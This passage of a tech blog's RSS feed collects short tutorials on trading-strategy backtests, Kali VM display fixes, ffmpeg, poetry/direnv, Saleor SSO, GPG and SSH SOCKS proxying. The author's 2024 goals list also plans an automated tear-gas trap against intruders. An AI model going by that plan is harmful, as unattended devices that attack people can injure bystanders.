                print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
                self.close()
</code></pre><p><img src="/images/backtrader8.png" alt="image"></p>
<br/>
<p><strong>Stratégie RSI:</strong></p>
<pre tabindex="0"><code>class RSIStrategy(bt.Strategy):

    params = ((&#34;upperband&#34;, 85), (&#34;lowerband&#34;, 25), (&#34;order_percentage&#34;, 0.95))

    def __init__(self):
        self.rsi = bt.indicators.RSI(self.data, period=14)

    def next(self):
        if not self.position and self.rsi &lt; self.params.lowerband:
            amount_to_invest = self.params.order_percentage * self.broker.cash
            self.size = math.floor(amount_to_invest / self.data.close)

            print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.rsi &gt; self.params.upperband:
            print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
            self.close()
</code></pre><p><img src="/images/backtrader9.png" alt="image"></p>
<br/>
<p><strong>Stratégie MACD:</strong></p>
<pre tabindex="0"><code>class MACDStrategy(bt.Strategy):

    params = ((&#39;ema_12&#39;, 12), (&#39;ema_26&#39;, 26), (&#39;order_percentage&#39;, 0.95))

    def __init__(self):     
        self.fast_ema_12 = bt.indicators.EMA(
            self.data.close, period = self.params.ema_12, plotname = &#39;12 day EMA&#39;
        )

        self.slow_ema_26 = bt.indicators.EMA(
            self.data.close, period = self.params.ema_26, plotname = &#39;26 day EMA&#39;
        )

        self.macd = bt.indicators.MACDHistogram(self.fast_ema_12, self.slow_ema_26)

    def next (self):
        if not self.position and self.macd &gt; 0:
            amount_to_invest = (self.params.order_percentage * self.broker.cash)
            self.size = math.floor(amount_to_invest / self.data.close)

            print(&#34;Buy {} shares at {}&#34;.format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.macd &lt; 0:
             print(&#34;Sell {} shares at {}&#34;.format(self.size, self.data.close[0]))
             self.close()
</code></pre><p><img src="/images/backtrader10.png" alt="image"></p>
<br/>
<p>Et voilà, vous voyez à quel point il est simple de coder des stratégies. Maintenant il ne vous reste plus qu&rsquo;à être inventif pour créer une stratégie qui vous rapportera de l&rsquo;argent. Au moins vous avez un outil pour vérifier qu&rsquo;elle pourrait fonctionner (je dis bien pourrait car le passé ne présage pas le futur)&hellip; Je ne suis pas conseiller financier. Je ne recommande pas ces stratégies qui vous aurait fait perdre de l&rsquo;argent en 2022. Faites vos recherches.</p>
]]></content>
        </item>
        
        <item>
            <title>Fixer l&#39;écran noir de Kali avec UTM</title>
            <link>https://leandeep.com/fixer-l%C3%A9cran-noir-de-kali-avec-utm/</link>
            <pubDate>Fri, 12 Jan 2024 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/fixer-l%C3%A9cran-noir-de-kali-avec-utm/</guid>
            <description>&lt;p&gt;UTM sur OSX est un hyperviseur gratuit permettant d&amp;rsquo;installer différentes VMs. Je l&amp;rsquo;utilise par exemple pour utiliser Windows ARM et Kali ARM.&lt;/p&gt;
&lt;p&gt;Lorsqu&amp;rsquo;on installe Kali depuis la librairie de VMs disponibles et qu&amp;rsquo;on le démarre pour la première fois on a un écran noir.&lt;/p&gt;
&lt;p&gt;Pour le fixer, il suffit d&amp;rsquo;aller dans les settings de la VM et de changer l&amp;rsquo;emulated display card. Sélectionner &lt;code&gt;virtio-ramfb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/kali-utm.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pensez à configurer la carte réseau en bridge.
Et pensez à installer ssh et activer le service &lt;code&gt;sudo service ssh enable &amp;amp;&amp;amp; sudo service ssh start&lt;/code&gt;.
Pensez à sélectionner l&amp;rsquo;option permettant de faire du USB passthrough et configurer les USB ports en USB 3.0. Pour vérifier que les USB arrivent bien à se connecter sur Kali, utiliser la commande &lt;code&gt;lsusb&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>UTM sur OSX est un hyperviseur gratuit permettant d&rsquo;installer différentes VMs. Je l&rsquo;utilise par exemple pour utiliser Windows ARM et Kali ARM.</p>
<p>Lorsqu&rsquo;on installe Kali depuis la librairie de VMs disponibles et qu&rsquo;on le démarre pour la première fois on a un écran noir.</p>
<p>Pour le fixer, il suffit d&rsquo;aller dans les settings de la VM et de changer l&rsquo;emulated display card. Sélectionner <code>virtio-ramfb</code>.</p>
<p><img src="/images/kali-utm.png" alt="image"></p>
<blockquote>
<p>Pensez à configurer la carte réseau en bridge.
Et pensez à installer ssh et activer le service <code>sudo service ssh enable &amp;&amp; sudo service ssh start</code>.
Pensez à sélectionner l&rsquo;option permettant de faire du USB passthrough et configurer les USB ports en USB 3.0. Pour vérifier que les USB arrivent bien à se connecter sur Kali, utiliser la commande <code>lsusb</code>.</p></blockquote>
<p>Voilà c&rsquo;est tout pour le tip.</p>
]]></content>
        </item>
        
        <item>
            <title>Extraire x secondes d&#39;une video</title>
            <link>https://leandeep.com/extraire-x-secondes-dune-video/</link>
            <pubDate>Wed, 10 Jan 2024 23:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/extraire-x-secondes-dune-video/</guid>
            <description>&lt;p&gt;Voici la commande pour extraire les 10 premières secondes d&amp;rsquo;une vidéo mp4:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Retirer le son&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ffmpeg -i &amp;#34;source_file.mp4&amp;#34; -ss 00:00:0.0 -t 10 -an &amp;#34;target_file.mp4&amp;#34;

# ffmpeg -threads $(nproc) -i &amp;#34;source_file.mp4&amp;#34; -ss 00:00:0.0 -t 10 -an &amp;#34;target_file.mp4&amp;#34; 
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Avec le son&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ffmpeg -i &amp;#34;source_file.mp4&amp;#34; -ss 00:00:0.0 -t 10 &amp;#34;target_file.mp4&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Avec le son et garder 10s à partir d&#39;1min51&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ffmpeg -i &amp;#34;source_file.mp4&amp;#34; -ss 00:01:51.000 -t 10 &amp;#34;target_file.mp4&amp;#34;
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici la commande pour extraire les 10 premières secondes d&rsquo;une vidéo mp4:</p>
<p><strong>Retirer le son</strong></p>
<pre tabindex="0"><code>ffmpeg -i &#34;source_file.mp4&#34; -ss 00:00:0.0 -t 10 -an &#34;target_file.mp4&#34;

# ffmpeg -threads $(nproc) -i &#34;source_file.mp4&#34; -ss 00:00:0.0 -t 10 -an &#34;target_file.mp4&#34; 
</code></pre><br/>
<p><strong>Avec le son</strong></p>
<pre tabindex="0"><code>ffmpeg -i &#34;source_file.mp4&#34; -ss 00:00:0.0 -t 10 &#34;target_file.mp4&#34;
</code></pre><br/>
<p><strong>Avec le son et garder 10s à partir d'1min51</strong></p>
<pre tabindex="0"><code>ffmpeg -i &#34;source_file.mp4&#34; -ss 00:01:51.000 -t 10 &#34;target_file.mp4&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Setup local development environments with direnv and poetry</title>
            <link>https://leandeep.com/setup-local-development-environments-with-direnv-and-poetry/</link>
            <pubDate>Tue, 02 Jan 2024 23:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/setup-local-development-environments-with-direnv-and-poetry/</guid>
            <description>&lt;p&gt;In this short article we are going to configure direnv to be able to use poetry smoothly.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;poetry-installation&#34;&gt;Poetry installation&lt;/h2&gt;
&lt;h2 id=&#34;option-1&#34;&gt;Option 1&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install pipx
pipx ensurepath
pipx install poetry
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;option-2-the-option-i-prefer&#34;&gt;Option 2 (The option I prefer)&lt;/h2&gt;
&lt;p&gt;If you have &lt;code&gt;pyenv&lt;/code&gt; and &lt;code&gt;zsh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;Select the Python version you want to use:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# for example
pyenv global 3.11.2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then add the following line in your &lt;code&gt;~/.zshrc&lt;/code&gt; file:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;eval &amp;#34;$(pyenv init --path)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally install poetry with a simple &lt;code&gt;pip install poetry&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this short article we are going to configure direnv to be able to use poetry smoothly.</p>
<br/>
<h2 id="poetry-installation">Poetry installation</h2>
<h2 id="option-1">Option 1</h2>
<pre tabindex="0"><code>brew install pipx
pipx ensurepath
pipx install poetry
</code></pre><br/>
<h2 id="option-2-the-option-i-prefer">Option 2 (The option I prefer)</h2>
<p>If you have <code>pyenv</code> and <code>zsh</code>:</p>
<p>Select the Python version you want to use:</p>
<pre tabindex="0"><code># for example
pyenv global 3.11.2
</code></pre><p>Then add the following line in your <code>~/.zshrc</code> file:</p>
<pre tabindex="0"><code>eval &#34;$(pyenv init --path)&#34;
</code></pre><p>Finally install poetry with a simple <code>pip install poetry</code></p>
<br/>
<h2 id="direnv-configuration">direnv configuration</h2>
<p>Edit the global <code>.direnvrc</code> file located vim in your home directory and add the following code:</p>
<pre tabindex="0"><code>layout_poetry() {
  if [[ ! -f pyproject.toml ]]; then
    log_error &#39;No pyproject.toml found.  Use `poetry new` or `poetry init` to create one first.&#39;
    exit 2
  fi

  local VENV=$(dirname $(poetry run which python))
  export VIRTUAL_ENV=$(echo &#34;$VENV&#34; | rev | cut -d&#39;/&#39; -f2- | rev)
  export POETRY_ACTIVE=1
  PATH_add &#34;$VENV&#34;
}
</code></pre><br/>
<p>Now each time you have a project created with Poetry you simply need to execute the following commands:</p>
<pre tabindex="0"><code>echo &#34;layout poetry&#34; &gt;&gt; .envrc
direnv allow
</code></pre><br/>
<p>That&rsquo;s all folks !</p>
]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2024 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2024/</link>
            <pubDate>Tue, 02 Jan 2024 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2024/</guid>
            <description>&lt;p&gt;Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&amp;rsquo;année et surtout de me challenger chaque année. Cette année, je me suis fixé un énorme challenge personnel du coup je vais lever le pied sur les challenges pro.&lt;/p&gt;
&lt;p&gt;Voici donc mon programme pour cette année 2024:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;1. Pérennisation trading bots&lt;/strong&gt; #TopPrio2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arbitrage bots
&lt;ul&gt;
&lt;li&gt;Focus DeFi &amp;lt;-&amp;gt; CeFi trades automatiques&lt;/li&gt;
&lt;li&gt;Monter un nouveau node archive hosté chez moi et noeud TheGraph&lt;/li&gt;
&lt;li&gt;Monitoring++ et backup/switch auto sur nouveau node.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Gérer le prochain bullrun&lt;/strong&gt; #TopPrio1&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&rsquo;année et surtout de me challenger chaque année. Cette année, je me suis fixé un énorme challenge personnel du coup je vais lever le pied sur les challenges pro.</p>
<p>Voici donc mon programme pour cette année 2024:</p>
<br/>
<p><strong>1. Pérennisation trading bots</strong> #TopPrio2</p>
<ul>
<li>Arbitrage bots
<ul>
<li>Focus DeFi &lt;-&gt; CeFi trades automatiques</li>
<li>Monter un nouveau node archive hosté chez moi et noeud TheGraph</li>
<li>Monitoring++ et backup/switch auto sur nouveau node.</li>
</ul>
</li>
</ul>
<p><strong>2. Gérer le prochain bullrun</strong> #TopPrio1</p>
<ul>
<li>Suivre mon plan défini l&rsquo;année dernière et améliorer continuellement mes outils de pilotage. Objectif: &ldquo;ne pas sortir du plan prévu (contrôle absolu des émotions)&rdquo;</li>
<li>Et bien sûr être présents virtuellement en automatique (#semaineDe4Heures spirit) pendant les bear traps et phases de paniques.</li>
</ul>
<p><strong>3. Automatiser et scaler mon jardin hydroponique</strong> #TopPrio3</p>
<ul>
<li>Arrosage auto avec eps8266 ou alternative (pouvoir &ldquo;abandonner mon jardin et plantes pendant 3 mois sans risque&rdquo;).</li>
<li>&ldquo;Scaler&rdquo; dans le sens passer de 2 étagères remplies de légumes à 12.</li>
<li>Créer un terrarium géant avec effet pluie (décoration intérieur de 2m par 1m et piloté bien sûr). #fun #design</li>
</ul>
<p><strong>4. Lire 1 livre de développement personnel</strong></p>
<p><strong>5. Créer un plugin Home Assistant pour mieux piloter mon chauffage</strong></p>
<ul>
<li>J&rsquo;ai domotisé mon chauffage au sol en 2023.
En 2024 j&rsquo;aimerais l&rsquo;optimiser pour que les pics de consommation électriques soient réalisés pendant les heures creuses et prendre en compte la météo. Dès qu&rsquo;il y a le moindre rayon de soleil la maison en bénéficie car il y a beaucoup de baies vitrées exposées plein sud. Et ce plugin sera en Mojo 🔥! (Pourquoi? -&gt; Continuous learning…)</li>
</ul>
<p><strong>6. Personnaliser totalement l&rsquo;interface de Home Assistant avec représentation 3D exacte de mon domicile</strong></p>
<ul>
<li>Utilisation de Sweet Home 3D ou autre</li>
</ul>
<p><strong>7. Level up on try hack me</strong></p>
<p><strong>8. Terminer une formation Swing trading débutée récemment et tester la stratégie proposée</strong></p>
<p><strong>9. Solidity/Uniswap experimentation/test: build my own ERC20 token</strong></p>
<p><strong>10. Lire 1 livre en lien avec mon job principal: continuous learning</strong></p>
<p><strong>11. Diversification++: créer 3 nouveaux portfolios totalement différents</strong></p>
<br/>
<p><em>Update: 06 juin 2024 (Salut Champion, si un jour tu lis ce blog, tu m&rsquo;as inspiré 😀): <br/>J&rsquo;ajoute un projet fun qui me permettra de coder en Rust sur de l&rsquo;embedded. Cela a beaucoup de sens par rapport à ma roadmap d&rsquo;apprentissage de Rust.</em></p>
<p><strong>12. Continuer à faire du Rust mais avec de l&rsquo;embedded</strong></p>
<ul>
<li>Rust on ESP32 (I am going to build an autonomous defense device. This short project is called: &ldquo;<strong>take that thief!</strong>&rdquo; -&gt; Few (Legal) tear gas devices will protect my house from thieves. The logic is super simple: if a thief is detected when I&rsquo;m not home -&gt; 💣 automatically. I&rsquo;ll write an article about it with a demo)</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Configurer un SSO entre Saleor et Azure Entra ID (Azure AD)</title>
            <link>https://leandeep.com/configurer-un-sso-entre-saleor-et-azure-entra-id-azure-ad/</link>
            <pubDate>Fri, 22 Dec 2023 18:21:00 +0000</pubDate>
            
            <guid>https://leandeep.com/configurer-un-sso-entre-saleor-et-azure-entra-id-azure-ad/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment configurer Saleor pour pouvoir se connecter au dashboard via Single Sign On (SSO) avec Azure Entra ID (anciennement Azure Active Directory).&lt;/p&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Avoir un compte Azure Portal&lt;/li&gt;
&lt;li&gt;Une instance de Saleor exposée sur internet&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;configuration-dazure-entra-id&#34;&gt;Configuration d&amp;rsquo;Azure Entra ID&lt;/h2&gt;
&lt;p&gt;Personnellement je suis connecté à Azure avec une adresse gmail. Cela devrait fonctionner avec tout autre domaine.&lt;/p&gt;
&lt;p&gt;Rendez-vous sur le portail Azure et cliquer sur &lt;code&gt;Microsoft Entra ID&lt;/code&gt;.
Si vous vous rendez dans la section users via le menu de gauche, vous devriez voir votre adresse email. Vérifier que c&amp;rsquo;est le cas car nous allons nous connecter avec cette adresse email dans le process de SSO.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment configurer Saleor pour pouvoir se connecter au dashboard via Single Sign On (SSO) avec Azure Entra ID (anciennement Azure Active Directory).</p>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Avoir un compte Azure Portal</li>
<li>Une instance de Saleor exposée sur internet</li>
</ul>
<br/>
<h2 id="configuration-dazure-entra-id">Configuration d&rsquo;Azure Entra ID</h2>
<p>Personnellement je suis connecté à Azure avec une adresse gmail. Cela devrait fonctionner avec tout autre domaine.</p>
<p>Rendez-vous sur le portail Azure et cliquer sur <code>Microsoft Entra ID</code>.
Si vous vous rendez dans la section users via le menu de gauche, vous devriez voir votre adresse email. Vérifier que c&rsquo;est le cas car nous allons nous connecter avec cette adresse email dans le process de SSO.</p>
<p>Retourner sur la home page d&rsquo;Azure Entra ID:</p>
<p><img src="/images/azure-entra-id-home.png" alt="image"></p>
<br/>
<p>Cliquer sur le bouton <code>Add</code> -&gt; <code>App Registration</code></p>
<p>Indiquer un nom à votre app. Dans mon cas j&rsquo;ai mais <code>Saleor OIDC dev</code>.</p>
<p>Ensuite, pour <code>Supported account types</code> laissez le bouton radio sélectionné par défaut.</p>
<p>Puis dans <code>Redirect URI (optional)</code>, sélectionner <code>Web</code> comme plateforme et indiquez l&rsquo;URL de redirection de votre dashboard Saleor. Dans mon cas: <code>https://blablabla.saleor.cloud/dashboard/login/callback/</code>.</p>
<br/>
<p>Une fois votre application enregistrée, cliquer sur le bouton <code>overview</code> dans le menu de gauche sur la page Entra ID du portail Azure et cliquer sur le bouton <code>endpoints</code> tout en haut de la page.</p>
<p><img src="/images/azure-entra-id-endpoints.png" alt="image"></p>
<p>La liste de ces endpoints est utile pour pouvoir configurer Saleor.</p>
<br/>
<h2 id="configuration-de-saleor">Configuration de Saleor</h2>
<p>Rendez-vous donc dans le dashboard de Saleor via votre compte admin.</p>
<p><img src="/images/saleor-dashboard-home.png" alt="image"></p>
<p>Et cliquez sur le bouton configurer en bas à gauche dans le menu.</p>
<br/>
<p>Tout en bas de la page configuration, cliquez sur le bouton plugins:</p>
<p><img src="/images/saleor-dashboard-config-page.png" alt="image"></p>
<br/>
<p>Editer le plugin appelé <code>Openid Connect</code> et configurer le plugin:</p>
<ul>
<li>Activer la case <code>Set plugin as active</code>.</li>
<li>En client ID, entrer la client ID de l&rsquo;app que vous venez d&rsquo;enregistrer dans Entra ID.</li>
<li>Dans <code>OAuth Authorization URL</code>, entrer une URL du type: <code>https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/authorize</code>. (Vous trouverez cette URL dans Entra ID dans la liste des endpoints dont on a parlé plus haut. Idem pour les URLs qui suivent)</li>
<li>Dans <code>OAuth Token URL</code>, entrer une URL du type <code>https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/token</code></li>
<li>Dans <code>JSON Web Key Set URL</code>, entrer une URL du type <code>https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/discovery/v2.0/keys</code></li>
<li>Dans <code>OAuth logout URL</code>, entrer une URL du type <code>https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/logout</code></li>
<li>Dans <code>User info URL</code>, entrer une URL du type <code>https://graph.microsoft.com/oidc/userinfo</code></li>
<li>N&rsquo;indiquer rien dans Audience</li>
<li>Garder <code>Use OAuth scope permissions</code> désactivé</li>
<li>Pour <code>Staff user domains</code>, indiquer gmail.com si comme moi vous avez votre email gmail configurée comme User dans Entra.</li>
<li>Dans Default Permission grous name for staff users, indiquez ce que vous voulez. Dans Saleor vous avez la possibilité de créer des groupes d&rsquo;utilisateurs avec des rôles particuliers. Dans mon cas j&rsquo;ai créé un groupe appelé <code>SSO</code> dans Saleor. C&rsquo;était pour un test, donc ici j&rsquo;ai indiqué <code>SSO</code>.</li>
</ul>
<br/>
<p>Enfin pour <code>Authorization</code> -&gt;  <code>Client secret</code>, il vous faudra un secret dans Entra ID.
Je me suis fait avoir car il y a 2 valeurs possibles de secret dans Entra ID. Il faut utiliser la <code>value</code> et pas le <code>Secret ID</code>.</p>
<p><img src="/images/entra-secret-value-for-registered-app.png" alt="image"></p>
<p>Générer donc un secret dans Entra et insérer le dans Saleor.</p>
<p>Et voilà. Il ne vous reste plus qu&rsquo;à vous connecter à votre instance de Saleor, de cliquer sur le bouton <code>OpenID connect</code> et de vous logguer à Azure portal.</p>
<p><img src="/images/saleor-login.png" alt="image"></p>
<br/>
<p><img src="/images/azure-login-openid-connect.jpg" alt="image"></p>
<br/>
<p><img src="/images/saleor-logged.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Encrypt a file with GPG</title>
            <link>https://leandeep.com/encrypt-a-file-with-gpg/</link>
            <pubDate>Sun, 24 Sep 2023 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/encrypt-a-file-with-gpg/</guid>
            <description>&lt;p&gt;Tiny/Pico tip explaining how to encrypt a file using GPG to share it with one of your colleague or friend.&lt;/p&gt;
&lt;p&gt;We start by checking if our friend key is aleady registered in our system using the following command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --list-public-keys
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;If it&amp;rsquo;s ok we just have to execute the following command to encrypt our file to share it securly to our friend:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --encrypt --recipient your_friend@email.com secret_file_to_encrypt.txt 
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;And voila that&amp;rsquo;s all.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tiny/Pico tip explaining how to encrypt a file using GPG to share it with one of your colleague or friend.</p>
<p>We start by checking if our friend key is aleady registered in our system using the following command:</p>
<pre tabindex="0"><code>gpg --list-public-keys
</code></pre><br/>
<p>If it&rsquo;s ok we just have to execute the following command to encrypt our file to share it securly to our friend:</p>
<pre tabindex="0"><code>gpg --encrypt --recipient your_friend@email.com secret_file_to_encrypt.txt 
</code></pre><br/>
<p>And voila that&rsquo;s all.</p>
]]></content>
        </item>
        
        <item>
            <title>Utiliser une IP fixe dans son terminal via proxy socks</title>
            <link>https://leandeep.com/utiliser-une-ip-fixe-dans-son-terminal-via-proxy-socks/</link>
            <pubDate>Tue, 05 Sep 2023 23:46:00 +0200</pubDate>
            
            <guid>https://leandeep.com/utiliser-une-ip-fixe-dans-son-terminal-via-proxy-socks/</guid>
            <description>&lt;p&gt;Voici un tip pour utiliser une IP fixe depuis son terminal quand son FAI ne fournit pas d&amp;rsquo;adresse IP statique. C&amp;rsquo;est le cas par exemple avec Starlink, SFR ou Orange&amp;hellip;&lt;/p&gt;
&lt;p&gt;Pour ce faire, il suffit d&amp;rsquo;utiliser un proxy socks. Si vous avez une VM sur le cloud accessible directement via SSH, vous pouvez utiliser les commandes suivantes:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Dans un premier onglet de votre terminal exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh -D 6006 -q -C -N user@ip_or_reverse_dns
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Puis dans un second onglet:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici un tip pour utiliser une IP fixe depuis son terminal quand son FAI ne fournit pas d&rsquo;adresse IP statique. C&rsquo;est le cas par exemple avec Starlink, SFR ou Orange&hellip;</p>
<p>Pour ce faire, il suffit d&rsquo;utiliser un proxy socks. Si vous avez une VM sur le cloud accessible directement via SSH, vous pouvez utiliser les commandes suivantes:</p>
<br/>
<p>Dans un premier onglet de votre terminal exécuter la commande suivante:</p>
<pre tabindex="0"><code>ssh -D 6006 -q -C -N user@ip_or_reverse_dns
</code></pre><br/>
<p>Puis dans un second onglet:</p>
<pre tabindex="0"><code>curl https://ipinfo.io/ip # Résultat: IP dynamique
export http_proxy=http://127.0.0.1:6006
export https_proxy=http://127.0.0.1:6006
curl https://ipinfo.io/ip # Résultat: IP de votre remote VM
</code></pre><br/>
<p>That&rsquo;s it as simple as that.</p>
<br/>
<blockquote>
<p>Si vous utilisez Python, vous aurez besoin du package <code>pip install pysocks</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Fixer l&#39;erreur &#39;ModuleNotFoundError: No module named _lzma&#39; sur OSX</title>
            <link>https://leandeep.com/fixer-lerreur-modulenotfounderror-no-module-named-_lzma-sur-osx/</link>
            <pubDate>Mon, 21 Aug 2023 23:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/fixer-lerreur-modulenotfounderror-no-module-named-_lzma-sur-osx/</guid>
            <description>&lt;p&gt;Voici un tip pour fixer l&amp;rsquo;erreur ennuyeuse &lt;code&gt;ModuleNotFoundError: No module named &#39;_lzma&#39;&lt;/code&gt; sur OSX lorsqu&amp;rsquo;on utilise &lt;code&gt;torch&lt;/code&gt; et &lt;code&gt;pyenv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Installer les packages suivants:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install zlib
brew install sqlite
brew install bzip2
brew install libiconv
brew install libzip
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ouvrir le fichier &lt;code&gt;~/.zshrc&lt;/code&gt; et ajouter les lignes suivantes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export LDFLAGS=&amp;#34;${LDFLAGS} -L/usr/local/opt/zlib/lib&amp;#34;
export CPPFLAGS=&amp;#34;${CPPFLAGS} -I/usr/local/opt/zlib/include&amp;#34;
export LDFLAGS=&amp;#34;${LDFLAGS} -L/usr/local/opt/sqlite/lib&amp;#34;
export CPPFLAGS=&amp;#34;${CPPFLAGS} -I/usr/local/opt/sqlite/include&amp;#34;
export PKG_CONFIG_PATH=&amp;#34;${PKG_CONFIG_PATH} /usr/local/opt/zlib/lib/pkgconfig&amp;#34;
export PKG_CONFIG_PATH=&amp;#34;${PKG_CONFIG_PATH} /usr/local/opt/sqlite/lib/pkgconfig&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Installer une nouvelle version de Python via pyenv. Par exemple:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici un tip pour fixer l&rsquo;erreur ennuyeuse <code>ModuleNotFoundError: No module named '_lzma'</code> sur OSX lorsqu&rsquo;on utilise <code>torch</code> et <code>pyenv</code>.</p>
<p>Installer les packages suivants:</p>
<pre tabindex="0"><code>brew install zlib
brew install sqlite
brew install bzip2
brew install libiconv
brew install libzip
</code></pre><br/>
<p>Ouvrir le fichier <code>~/.zshrc</code> et ajouter les lignes suivantes:</p>
<pre tabindex="0"><code>export LDFLAGS=&#34;${LDFLAGS} -L/usr/local/opt/zlib/lib&#34;
export CPPFLAGS=&#34;${CPPFLAGS} -I/usr/local/opt/zlib/include&#34;
export LDFLAGS=&#34;${LDFLAGS} -L/usr/local/opt/sqlite/lib&#34;
export CPPFLAGS=&#34;${CPPFLAGS} -I/usr/local/opt/sqlite/include&#34;
export PKG_CONFIG_PATH=&#34;${PKG_CONFIG_PATH} /usr/local/opt/zlib/lib/pkgconfig&#34;
export PKG_CONFIG_PATH=&#34;${PKG_CONFIG_PATH} /usr/local/opt/sqlite/lib/pkgconfig&#34;
</code></pre><br/>
<p>Installer une nouvelle version de Python via pyenv. Par exemple:</p>
<pre tabindex="0"><code>pyenv install 3.10.11
</code></pre><br/>
<p>Et voilà <code>torch</code> fonctionne&hellip; Je peux finir mon script d&rsquo;Upscaling d&rsquo;anciennes photos de famille.</p>
]]></content>
        </item>
        
        <item>
            <title>direnv avec pyenv et anaconda</title>
            <link>https://leandeep.com/direnv-avec-pyenv-et-anaconda/</link>
            <pubDate>Mon, 21 Aug 2023 21:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/direnv-avec-pyenv-et-anaconda/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment installer Anaconda3 sur OSX et l&amp;rsquo;utiliser directement dans direnv.&lt;/p&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;direnv installé&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;On commence par installer Anaconda via brew&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install --cask anaconda
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On édite &lt;code&gt;~/.zshrc&lt;/code&gt; et on ajoute le path vers les binaires d&amp;rsquo;Anaconda.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export PATH=&amp;#34;/opt/homebrew/anaconda3/bin:$PATH&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
